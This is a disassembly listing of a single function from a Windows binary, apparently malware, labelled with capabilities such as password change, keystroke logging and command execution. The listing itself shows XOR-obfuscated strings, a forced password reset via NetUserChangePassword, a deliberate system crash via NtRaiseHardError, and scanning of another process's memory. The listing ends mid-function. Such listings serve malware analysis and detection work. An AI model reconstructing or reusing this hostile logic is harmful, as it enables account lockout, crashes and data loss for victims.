Function at 0x140013ff0
Capabilities:
Change user account password
Create thread
Delete file
Execute command
Get system information on windows
Log keystrokes via polling
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x370
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x140022040]
xor rax, rsp
mov qword [rbp + 0x310], rax
xor r14d, r14d
lea rcx, [0x14001dbc0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp byte [0x140022d60], r14b
jne 0x140014200
movabs rax, 0x68e647cd3abe2279
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x10], rax
movabs rax, 0x35fe09ec794122d0
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x18], rax
movabs rbx, 0xd9526af5bca431d
mov qword [rbp + 0x130], rbx
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x2e0], rax
movabs r13, 0x35fe0982163248fe
mov qword [rbp + 0x130], r13
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x2e8], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x2e0]
movdqa xmmword [rbp + 0x10], xmm0
lea rcx, [rbp + 0x10]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movabs rax, 0x2db5068f7bea6317
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x220], rax
movabs rax, 0x15c47af762533cad
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x228], rax
movabs rcx, 0x6114ab25d8c8c8cf
mov qword [rbp + 0x130], rcx
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x230], rax
movabs rdx, 0x3bbb1710b673a828
mov qword [rbp + 0x130], rdx
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x238], rax
mov qword [rbp + 0x130], rbx
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x130], r13
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x188], rax
mov qword [rbp + 0x130], rcx
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x190], rax
mov qword [rbp + 0x130], rdx
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x198], rax
vmovdqu ymm0, ymmword [rbp + 0x220]
vpxor ymm1, ymm0, ymmword [rbp + 0x180]
vmovdqa ymmword [rbp + 0x220], ymm1
lea r8, [0x140022d68]
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x180]
vzeroupper
call fcn.140018840
nop
lea rcx, [rbp + 0x180]
call fcn.140012c80
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
mov qword [rbp + 0x190], r14
mov r8d, 0xf
mov qword [rbp + 0x198], r8
mov byte [rbp + 0x180], r14b
mov edi, r14d
mov dword [rbp + 0xb0], r14d
mov rcx, qword [0x140022c98]
mov rax, rcx
mov rdx, qword [0x140022c90]
sub rax, rdx
sar rax, 6
test rax, rax
je 0x14001597d
mov rbx, r14
movabs rsi, 0x3bbb1710b673a828
movabs r15, 0xd9526af5bca431d
movabs r13, 0x35fe0982163248fe
movabs r12, 0x6114ab25d8c8c8cf
nop dword [rax + rax]
sub rcx, rdx
sar rcx, 6
cmp rcx, rbx
jbe 0x140016c4b
shl rbx, 6
add rbx, rdx
mov rdx, rbx
lea rcx, [rbp + 0x1e0]
call fcn.140017a00
nop
lea rdx, [rbx + 0x20]
lea rcx, [rbp + 0x200]
call fcn.140017a00
nop
cmp qword [rbp + 0x1f0], 0
jne 0x140014786
lea rcx, [rbp + 0x220]
call fcn.14000db80
nop
cmp qword [rbp + 0x230], 0
jne 0x14001433f
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rbp + 0x13b], 0
mov dword [rbp + 0x150], r14d
lea r9, [rbp + 0x13b]
xor r8d, r8d
mov dl, 1
mov ecx, 0x13
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea rax, [rbp + 0x150]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc0000006
call qword [sym.imp.ntdll.dll_NtRaiseHardError]
movabs rax, 0xde126c15ba54379
mov qword [rbp + 0xb0], rax
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0x20], rax
movabs rax, 0x358709f0164648a1
mov qword [rbp + 0xb0], rax
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0x28], rax
movabs rax, 0x614bab4ad8bcc890
mov qword [rbp + 0xb0], rax
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0x30], rax
movabs rax, 0x3bd81771b601a84b
mov qword [rbp + 0xb0], rax
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0x38], rax
movabs rax, 0xf0134c2df6b4212a
mov qword [rbp + 0xb0], rax
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0x40], rax
movabs rax, 0xc4d0bef56695fc94
mov qword [rbp + 0xb0], rax
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0x48], rax
movabs rax, 0xca73b4f6e6c7706c
mov qword [rbp + 0xb0], rax
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0x50], rax
movabs rax, 0xdb0f85cdf11bfbb3
mov qword [rbp + 0xb0], rax
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0x58], rax
movabs rcx, 0xafc694c79daa2025
mov qword [rbp + 0xb0], rcx
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0x60], rax
movabs rbx, 0x7bc49e7adec378a6
mov qword [rbp + 0xb0], rbx
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0x68], rax
mov qword [rbp + 0xb0], r15
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0x280], rax
mov qword [rbp + 0xb0], r13
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0x288], rax
mov qword [rbp + 0xb0], r12
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0x290], rax
mov qword [rbp + 0xb0], rsi
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0x298], rax
movabs rax, 0xf04c4c43f6dd2141
mov qword [rbp + 0xb0], rax
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0x2a0], rax
movabs rax, 0xc4bbbe9666e0fcf2
mov qword [rbp + 0xb0], rax
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0x2a8], rax
movabs rax, 0xca06b499e6be7033
mov qword [rbp + 0xb0], rax
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0x2b0], rax
movabs rax, 0xdb6b85a4f170fbec
mov qword [rbp + 0xb0], rax
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0x2b8], rax
mov qword [rbp + 0xb0], rcx
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0x2c0], rax
mov qword [rbp + 0xb0], rbx
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0x2c8], rax
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x280]
vmovdqa ymmword [rbp + 0x20], ymm1
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x2a0]
vmovdqa ymmword [rbp + 0x40], ymm1
vmovdqa xmm0, xmmword [rbp + 0x60]
vxorps xmm0, xmm0, xmmword [rbp + 0x2c0]
vmovdqa xmmword [rbp + 0x60], xmm0
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xc0]
vzeroupper
call fcn.1400177d0
lea r9, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 7
cmova r9, qword [rbp + 0xc0]
lea rdx, [rbp + 0x220]
cmp qword [rbp + 0x238], 7
cmova rdx, qword [rbp + 0x220]
lea r8, [0x14001dbbc]
xor ecx, ecx
call qword [sym.imp.NETAPI32.dll_NetUserChangePassword]
test eax, eax
je 0x140014680
cmp eax, 5
je 0x1400145e9
cmp eax, 0x56
jne 0x14001463c
lea rax, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 7
cmova rax, qword [rbp + 0xc0]
mov qword [rbp + 0xb0], rax
lea rdx, [rbp + 0x220]
cmp qword [rbp + 0x238], 7
cmova rdx, qword [rbp + 0x220]
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0xb0]
xor ecx, ecx
mov r8d, 0x3eb
call qword [sym.imp.NETAPI32.dll_NetUserSetInfo]
test eax, eax
je 0x140014680
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rbp + 0x138], 0
mov dword [rbp + 0x154], r14d
lea r9, [rbp + 0x138]
xor r8d, r8d
mov dl, 1
mov ecx, 0x13
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea rax, [rbp + 0x154]
jmp 0x1400146b7
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rbp + 0x139], 0
mov dword [rbp + 0x158], r14d
lea r9, [rbp + 0x139]
xor r8d, r8d
mov dl, 1
mov ecx, 0x13
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea rax, [rbp + 0x158]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc0000006
call qword [sym.imp.ntdll.dll_NtRaiseHardError]
mov rdx, qword [rbp + 0xd8]
cmp rdx, 7
jbe 0x14001471d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014718
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400159c2
call fcn.140019e60
mov qword [rbp + 0xd0], r14
mov qword [rbp + 0xd8], 7
mov word [rbp + 0xc0], r14w
mov rdx, qword [rbp + 0x238]
cmp rdx, 7
jbe 0x1400158c8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001477c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400159c9
call fcn.140019e60
jmp 0x1400158c8
movabs rax, 0xde14ada3aac2679
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x120], r13
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x120], r15
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x2f0], rax
mov qword [rbp + 0x120], r13
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x2f8], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x2f0]
movdqa xmmword [rbp + 0x10], xmm0
lea rcx, [rbp + 0x10]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140014800
lea rcx, [rbp + 0x1e0]
cmp qword [rbp + 0x1f8], 0xf
cmova rcx, qword [rbp + 0x1e0]
mov r8, qword [rbp + 0x1f0]
cmp r8, rax
jne 0x1400153f7
lea rdx, [rbp + 0x10]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400153f7
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0xd9526af5bb92f7e
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x120], r13
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x88], rax
mov qword [rbp + 0x120], r15
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x300], rax
mov qword [rbp + 0x120], r13
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x308], rax
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rbp + 0x300]
movdqa xmmword [rbp + 0x80], xmm0
lea rcx, [rbp + 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov r12, rax
lea rdx, [rbp + 0x140]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowRect]
mov ebx, dword [rbp + 0x148]
mov r10d, dword [rbp + 0x140]
sub ebx, r10d
mov edi, dword [rbp + 0x14c]
mov r8d, dword [rbp + 0x144]
sub edi, r8d
mov ecx, 0x384
sub ecx, ebx
mov eax, 0x66666667
imul ecx
mov r14d, edx
sar r14d, 4
mov eax, r14d
shr eax, 0x1f
add r14d, eax
mov ecx, 0x410
sub ecx, edi
mov eax, 0x66666667
imul ecx
mov r15d, edx
sar r15d, 4
mov eax, r15d
shr eax, 0x1f
add r15d, eax
mov qword [rbp + 0x120], 5
mov esi, 0x28
add ebx, r14d
add edi, r15d
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], edi
mov r9d, ebx
mov edx, r10d
mov rcx, r12
call qword [sym.imp.USER32.dll_MoveWindow]
lea rcx, [rbp + 0x120]
call fcn.140018ad0
sub rsi, 1
mov r8d, dword [rbp + 0x144]
je 0x1400149a5
mov r10d, dword [rbp + 0x140]
jmp 0x140014962
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0x410
mov r9d, 0x384
mov edx, dword [rbp + 0x140]
mov rcx, r12
call qword [sym.imp.USER32.dll_MoveWindow]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dword [rbp], 0x34005a
mov edx, dword [rbp]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
movabs rax, 0xd9526af5bb92f7e
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x120], r13
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x98], rax
movabs r15, 0xd9526af5bca431d
mov qword [rbp + 0x120], r15
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x260], rax
mov qword [rbp + 0x120], r13
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x268], rax
movdqa xmm0, xmmword [rbp + 0x90]
xorps xmm0, xmmword [rbp + 0x260]
movdqa xmmword [rbp + 0x90], xmm0
lea rcx, [rbp + 0x90]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x21a51f8f3eae2c70
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xa0], rax
movabs rax, 0x35fe098216327acb
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xa8], rax
mov qword [rbp + 0x120], r15
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x1a0], rax
mov qword [rbp + 0x120], r13
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x1a8], rax
movdqa xmm0, xmmword [rbp + 0xa0]
xorps xmm0, xmmword [rbp + 0x1a0]
movdqa xmmword [rbp + 0xa0], xmm0
lea rcx, [rbp + 0xa0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140022de8]
call fcn.1400122b0
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov r14, rax
movabs rax, 0xdc526ee5b9e435a
mov qword [rbp + 0x120], rax
mov rcx, qword [rbp + 0x120]
mov qword [rbp + 0x220], rcx
movabs rax, 0x359b09e1165d488c
mov qword [rbp + 0x120], rax
mov rcx, qword [rbp + 0x120]
mov qword [rbp + 0x228], rcx
movabs rax, 0x6171ab0bd8bbc8bc
mov qword [rbp + 0x120], rax
mov rcx, qword [rbp + 0x120]
mov qword [rbp + 0x230], rcx
movabs rax, 0x3bbb1710b616a850
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x238], rax
mov qword [rbp + 0x120], r15
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0x120], r13
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xc8], rax
movabs r12, 0x6114ab25d8c8c8cf
mov qword [rbp + 0x120], r12
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xd0], rax
movabs rsi, 0x3bbb1710b673a828
mov qword [rbp + 0x120], rsi
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xd8], rax
vmovdqu ymm0, ymmword [rbp + 0x220]
vpxor ymm1, ymm0, ymmword [rbp + 0xc0]
vmovdqu ymmword [rbp + 0x220], ymm1
lea rcx, [rbp + 0x1c0]
vzeroupper
call fcn.14000ea40
nop
lea rcx, [rbp + 0x220]
call fcn.14000e550
test eax, eax
je 0x140015094
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140015389
movabs rax, 0x2db5068f7bea6317
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xc0], rax
movabs rax, 0x15de29a2361268de
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xc8], rax
movabs rax, 0x414f8b05f8e8e8ef
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xd0], rax
movabs rax, 0x5ed74730eb539605
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xd8], rax
movabs rax, 0x84252d14d6b85220
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xe0], rax
movabs rax, 0xb7d5f7b6148fbad2
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xe8], rax
movabs rax, 0xa56fc0f88ad21147
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xf0], rax
movabs rax, 0xfb58a589d142db82
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xf8], rax
movabs rax, 0xafb5f1b3e8c44948
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x100], rax
movabs rcx, 0x7bc49e7adec378a6
mov qword [rbp + 0x120], rcx
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x108], rax
mov qword [rbp + 0x120], r15
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x280], rax
mov qword [rbp + 0x120], r13
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x288], rax
mov qword [rbp + 0x120], r12
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x290], rax
mov qword [rbp + 0x120], rsi
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x298], rax
movabs rax, 0xf04c4c43f6dd2141
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x2a0], rax
movabs rax, 0xc4bbbe9666e0fcf2
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x2a8], rax
movabs rax, 0xca06b499e6be7033
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x2b0], rax
movabs rax, 0xdb6b85a4f170fbec
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x2b8], rax
movabs rax, 0xafc694c79daa2025
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x2c0], rax
mov qword [rbp + 0x120], rcx
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x2c8], rax
vmovdqu ymm0, ymmword [rbp + 0xc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x280]
vmovdqa ymmword [rbp + 0xc0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x2a0]
vmovdqa ymmword [rbp + 0xe0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x100]
vxorps xmm0, xmm0, xmmword [rbp + 0x2c0]
vmovdqa xmmword [rbp + 0x100], xmm0
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x220], xmm0
xor edi, edi
mov qword [rbp + 0x230], rdi
mov qword [rbp + 0x238], rdi
lea rax, [rbp + 0xc0]
mov r8, 0xffffffffffffffff
vzeroupper
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], dil
jne 0x140014f10
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x220]
call fcn.140018bb0
nop
lea rcx, [rbp + 0x220]
call fcn.140012c80
nop
mov rdx, qword [rbp + 0x238]
cmp rdx, 0xf
jbe 0x140014f7b
inc rdx
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014f76
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400167e7
call fcn.140019e60
mov qword [rbp + 0x230], rdi
mov qword [rbp + 0x238], 0xf
mov byte [rbp + 0x220], 0
lea rcx, [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rdi, qword [rbp + 0xc8]
cmp rdi, qword [rbp + 0xd0]
jae 0x140015a1a
nop word [rax + rax]
mov r9d, 0x30
lea r8, [rbp + 0x220]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualQueryEx]
cmp rax, 0x30
jne 0x1400159d0
cmp dword [rbp + 0x240], 0x1000
jne 0x140015081
mov eax, dword [rbp + 0x244]
cmp eax, 0x40
je 0x140015003
cmp eax, 4
jne 0x140015081
mov rcx, qword [rbp + 0x238]
call fcn.14001a0e4
mov rsi, rax
lea rax, [rbp + 0x120]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x238]
mov r8, rsi
mov rdx, qword [rbp + 0x220]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x140015079
xor edi, edi
mov rcx, qword [rbp + 0x120]
add rcx, 0xfffffffffffffff6
je 0x140015079
movzx eax, word [0x14001dcc0]
mov rdx, qword [0x14001dcb8]
nop dword [rax]
cmp qword [rdi + rsi], rdx
jne 0x140015071
cmp word [rdi + rsi + 8], ax
je 0x1400159e8
inc rdi
cmp rdi, rcx
jb 0x140015060
mov rcx, rsi
call fcn.140019e60
mov rdi, qword [rbp + 0x220]
add rdi, qword [rbp + 0x238]
jmp 0x1400159d9
movabs rax, 0xdfe26c15bab436f
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x2e0], rax
movabs rax, 0x35fe0982163248cf
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x2e8], rax
mov qword [rbp + 0x120], r15
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x1b0], rax
mov qword [rbp + 0x120], r13
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x1b8], rax
movdqa xmm0, xmmword [rbp + 0x2e0]
xorps xmm0, xmmword [rbp + 0x1b0]
movdqa xmmword [rbp + 0x2e0], xmm0
movabs rax, 0xdf426ca5ba6436d
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x20], rax
movabs rax, 0x358b09a21657488d
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x28], rax
movabs rax, 0x6160ab05d8adc8bc
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x30], rax
movabs rax, 0x3b9b1763b61aa840
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x38], rax
movabs rax, 0xf0224c26f6b52136
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x40], rax
movabs rax, 0xc4cebef96699fcd2
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x48], rax
movabs rax, 0xca26b4fce6cc7014
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x50], rax
movabs rax, 0xdb188584f11efb85
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x58], rax
movabs rax, 0xafa394b19dd82040
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x60], rax
movabs rax, 0x7bc49e7adec378d4
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x120], r15
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x280], rax
mov qword [rbp + 0x120], r13
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x288], rax
mov qword [rbp + 0x120], r12
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x290], rax
mov qword [rbp + 0x120], rsi
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x298], rax
movabs rax, 0xf04c4c43f6dd2141
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x2a0], rax
movabs rax, 0xc4bbbe9666e0fcf2
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x2a8], rax
movabs rax, 0xca06b499e6be7033
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x2b0], rax
movabs rax, 0xdb6b85a4f170fbec
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x2b8], rax
movabs rax, 0xafc694c79daa2025
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x2c0], rax
movabs rax, 0x7bc49e7adec378a6
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x2c8], rax
vmovdqu ymm0, ymmword [rbp + 0x280]
vpxor ymm0, ymm0, ymmword [rbp + 0x20]
vmovdqa ymmword [rbp + 0x20], ymm0
vmovdqu ymm1, ymmword [rbp + 0x2a0]
vpxor ymm0, ymm1, ymmword [rbp + 0x40]
vmovdqa ymmword [rbp + 0x40], ymm0
vmovdqa xmm1, xmmword [rbp + 0x60]
vxorps xmm1, xmm1, xmmword [rbp + 0x2c0]
vmovdqa xmmword [rbp + 0x60], xmm1
xor r9d, r9d
lea r8, [rbp + 0x2e0]
lea rdx, [rbp + 0x20]
xor ecx, ecx
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 7
jbe 0x1400153cf
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400153ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016bf8
call fcn.140019e60
xor r14d, r14d
mov qword [rbp + 0x1d0], r14
mov qword [rbp + 0x1d8], 7
mov word [rbp + 0x1c0], r14w
mov edi, dword [rbp + 0xb0]
jmp 0x1400158c8
lea rcx, [rbp + 0xc0]
call fcn.14000db80
nop
cmp qword [rbp + 0xd0], 0
jne 0x140015470
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rbp + 0x13a], 0
mov dword [rbp + 0x15c], r14d
lea r9, [rbp + 0x13a]
xor r8d, r8d
mov dl, 1
mov ecx, 0x13
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea rax, [rbp + 0x15c]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc0000006
call qword [sym.imp.ntdll.dll_NtRaiseHardError]
movabs rax, 0xde126c15ba54379
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x20], rax
movabs rax, 0x358709f0164648a1
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x28], rax
movabs rax, 0x614bab4ad8bcc890
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x30], rax
movabs rax, 0x3bd81771b601a84b
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x38], rax
movabs rax, 0xf0134c2df6b4212a
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x40], rax
movabs rax, 0xc4d0bef56695fc94
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x48], rax
movabs rax, 0xca73b4f6e6c7706c
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x50], rax
movabs rax, 0xdb0f85cdf11bfbb3
mov qword [rbp + 0x120], rax
